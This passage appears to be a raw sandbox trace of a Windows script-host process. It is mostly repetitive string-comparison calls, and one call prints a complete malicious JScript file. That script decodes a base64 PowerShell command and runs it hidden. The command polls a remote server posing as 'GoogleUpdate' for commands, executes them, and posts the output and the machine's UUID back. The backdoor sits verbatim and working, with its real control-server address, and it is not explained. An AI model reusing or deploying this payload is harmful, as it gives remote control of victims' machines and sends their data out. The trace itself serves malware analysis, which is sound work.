(_String1="zE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.722] wcsncmp (_String1="E1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 56 [0273.722] wcsncmp (_String1="1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0273.722] wcsncmp (_String1="NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.722] wcsncmp (_String1="C4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0273.722] wcsncmp (_String1="4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0273.722] wcsncmp (_String1="xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1Vw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0273.722] wcsncmp (_String1="Ni4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.722] wcsncmp (_String1="i4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0273.722] wcsncmp (_String1="4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0273.722] wcsncmp (_String1="zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.722] wcsncmp (_String1="Ny4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.722] wcsncmp (_String1="y4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0273.722] wcsncmp (_String1="4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 39 [0273.722] wcsncmp (_String1="xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5w", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0273.722] wcsncmp (_String1="MjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5wa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 64 [0273.722] wcsncmp (_String1="jIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 93 [0273.722] wcsncmp (_String1="IvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0273.722] wcsncmp (_String1="vR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0273.722] wcsncmp (_String1="R29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnK", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.722] wcsncmp (_String1="29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.722] wcsncmp (_String1="9vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.723] wcsncmp (_String1="vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0273.723] wcsncmp (_String1="Z2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.723] wcsncmp (_String1="2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.723] wcsncmp (_String1="xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0273.723] wcsncmp (_String1="lVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0273.723] wcsncmp (_String1="VXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.723] wcsncmp (_String1="XBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.723] wcsncmp (_String1="BkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 53 [0273.723] wcsncmp (_String1="kYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0273.723] wcsncmp (_String1="YXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9J", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 76 [0273.723] wcsncmp (_String1="XRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.723] wcsncmp (_String1="RlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.723] wcsncmp (_String1="lL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0273.723] wcsncmp (_String1="L1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63 [0273.723] wcsncmp (_String1="1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0273.723] wcsncmp (_String1="VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.723] wcsncmp (_String1="wZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0273.723] wcsncmp (_String1="ZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0U", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.723] wcsncmp (_String1="GF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0Um", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.723] wcsncmp (_String1="F0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0273.723] wcsncmp (_String1="0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.723] wcsncmp (_String1="ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.723] wcsncmp (_String1="S5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0273.723] wcsncmp (_String1="5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.723] wcsncmp (_String1="waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0273.723] wcsncmp (_String1="aHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0273.723] wcsncmp (_String1="HAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.723] wcsncmp (_String1="AnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2U", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.723] wcsncmp (_String1="nKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2Uo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97 [0273.723] wcsncmp (_String1="KTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoK", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 62 [0273.723] wcsncmp (_String1="TsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0273.723] wcsncmp (_String1="sgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0273.723] wcsncmp (_String1="gJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTsk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0273.723] wcsncmp (_String1="JHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.723] wcsncmp (_String1="HJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.723] wcsncmp (_String1="Jlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.723] wcsncmp (_String1="lc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0273.723] wcsncmp (_String1="c3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.723] wcsncmp (_String1="3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0273.723] wcsncmp (_String1="A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.724] wcsncmp (_String1="9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.724] wcsncmp (_String1="JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.724] wcsncmp (_String1="HIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.724] wcsncmp (_String1="IuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0273.724] wcsncmp (_String1="uR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0273.724] wcsncmp (_String1="R2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.724] wcsncmp (_String1="2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.724] wcsncmp (_String1="V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.724] wcsncmp (_String1="0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0k", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.724] wcsncmp (_String1="UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0273.724] wcsncmp (_String1="mVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.724] wcsncmp (_String1="VzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.724] wcsncmp (_String1="zcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.724] wcsncmp (_String1="cG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.724] wcsncmp (_String1="G9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.724] wcsncmp (_String1="9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.724] wcsncmp (_String1="uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5H", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0273.724] wcsncmp (_String1="c2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.724] wcsncmp (_String1="2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.724] wcsncmp (_String1="UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0273.724] wcsncmp (_String1="oKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98 [0273.724] wcsncmp (_String1="KTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 62 [0273.724] wcsncmp (_String1="TskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0273.724] wcsncmp (_String1="skcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0273.724] wcsncmp (_String1="kcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0273.724] wcsncmp (_String1="cmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.724] wcsncmp (_String1="mVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.724] wcsncmp (_String1="VzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.724] wcsncmp (_String1="zcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.724] wcsncmp (_String1="cHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.724] wcsncmp (_String1="HN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.724] wcsncmp (_String1="N0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.724] wcsncmp (_String1="0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.724] wcsncmp (_String1="cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.724] wcsncmp (_String1="mVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.724] wcsncmp (_String1="VhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.724] wcsncmp (_String1="hbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91 [0273.724] wcsncmp (_String1="bT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.724] wcsncmp (_String1="T0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0273.724] wcsncmp (_String1="0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.724] wcsncmp (_String1="kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0273.724] wcsncmp (_String1="cmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpO", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.725] wcsncmp (_String1="mVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.725] wcsncmp (_String1="VzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.725] wcsncmp (_String1="zcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.725] wcsncmp (_String1="cC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.725] wcsncmp (_String1="C5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0273.725] wcsncmp (_String1="5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.725] wcsncmp (_String1="HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.725] wcsncmp (_String1="ZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9b", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.725] wcsncmp (_String1="XRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.725] wcsncmp (_String1="RSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.725] wcsncmp (_String1="SZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0273.725] wcsncmp (_String1="ZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3L", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.725] wcsncmp (_String1="XNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.725] wcsncmp (_String1="Nwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.725] wcsncmp (_String1="wb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9i", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0273.725] wcsncmp (_String1="b25zZVN0cmVhbSgpOyAkc3I9bmV3LW9ia", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.725] wcsncmp (_String1="25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iam", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.725] wcsncmp (_String1="5zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.725] wcsncmp (_String1="zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.725] wcsncmp (_String1="ZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.725] wcsncmp (_String1="VN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.725] wcsncmp (_String1="N0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.725] wcsncmp (_String1="0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.725] wcsncmp (_String1="cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.725] wcsncmp (_String1="mVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.725] wcsncmp (_String1="VhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.725] wcsncmp (_String1="hbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91 [0273.725] wcsncmp (_String1="bSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.725] wcsncmp (_String1="SgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0273.725] wcsncmp (_String1="gpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0273.725] wcsncmp (_String1="pOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99 [0273.725] wcsncmp (_String1="OyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0273.725] wcsncmp (_String1="yAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0273.725] wcsncmp (_String1="Akc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.725] wcsncmp (_String1="kc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0273.725] wcsncmp (_String1="c3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.725] wcsncmp (_String1="3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0273.726] SetLastError (dwErrCode=0xb) [0273.726] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0273.727] CloseCodeAuthzLevel () returned 0x1 [0273.727] FreeLibrary (hLibModule=0x7feff0e0000) returned 1 [0273.727] SysStringLen (param_1="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);") returned 0x658 [0273.727] GetCurrentThreadId () returned 0x8d4 [0273.732] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24e8e8 | out: ppv=0x24e8e8*=0x5f280) returned 0x0 [0273.740] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7feffc1a1b0, pUnk=0x409ff0, riid=0x7fef9186340*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x40a028 | out: pdwCookie=0x40a028*=0x100) returned 0x0 [0273.740] IUnknown:AddRef (This=0x5f280) returned 0x2 [0273.740] IUnknown:Release (This=0x5f280) returned 0x1 [0273.740] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24e938 | out: ppv=0x24e938*=0x5f280) returned 0x0 [0273.741] IUnknown:Release (This=0x5f280) returned 0x1 [0273.741] ISystemDebugEventFire:IsActive (This=0x739a0) returned 0x1 [0273.741] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24e8d8 | out: ppv=0x24e8d8*=0x5f280) returned 0x0 [0273.741] IUnknown:Release (This=0x5f280) returned 0x1 [0273.742] GetCurrentThreadId () returned 0x8d4 [0273.742] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feffa40000 [0273.742] GetProcAddress (hModule=0x7feffa40000, lpProcName="CLSIDFromProgIDEx") returned 0x7feffa5a4c4 [0273.742] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x24c970 | out: lpclsid=0x24c970*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0273.746] SysStringLen (param_1=0x0) returned 0x0 [0273.746] GetProcAddress 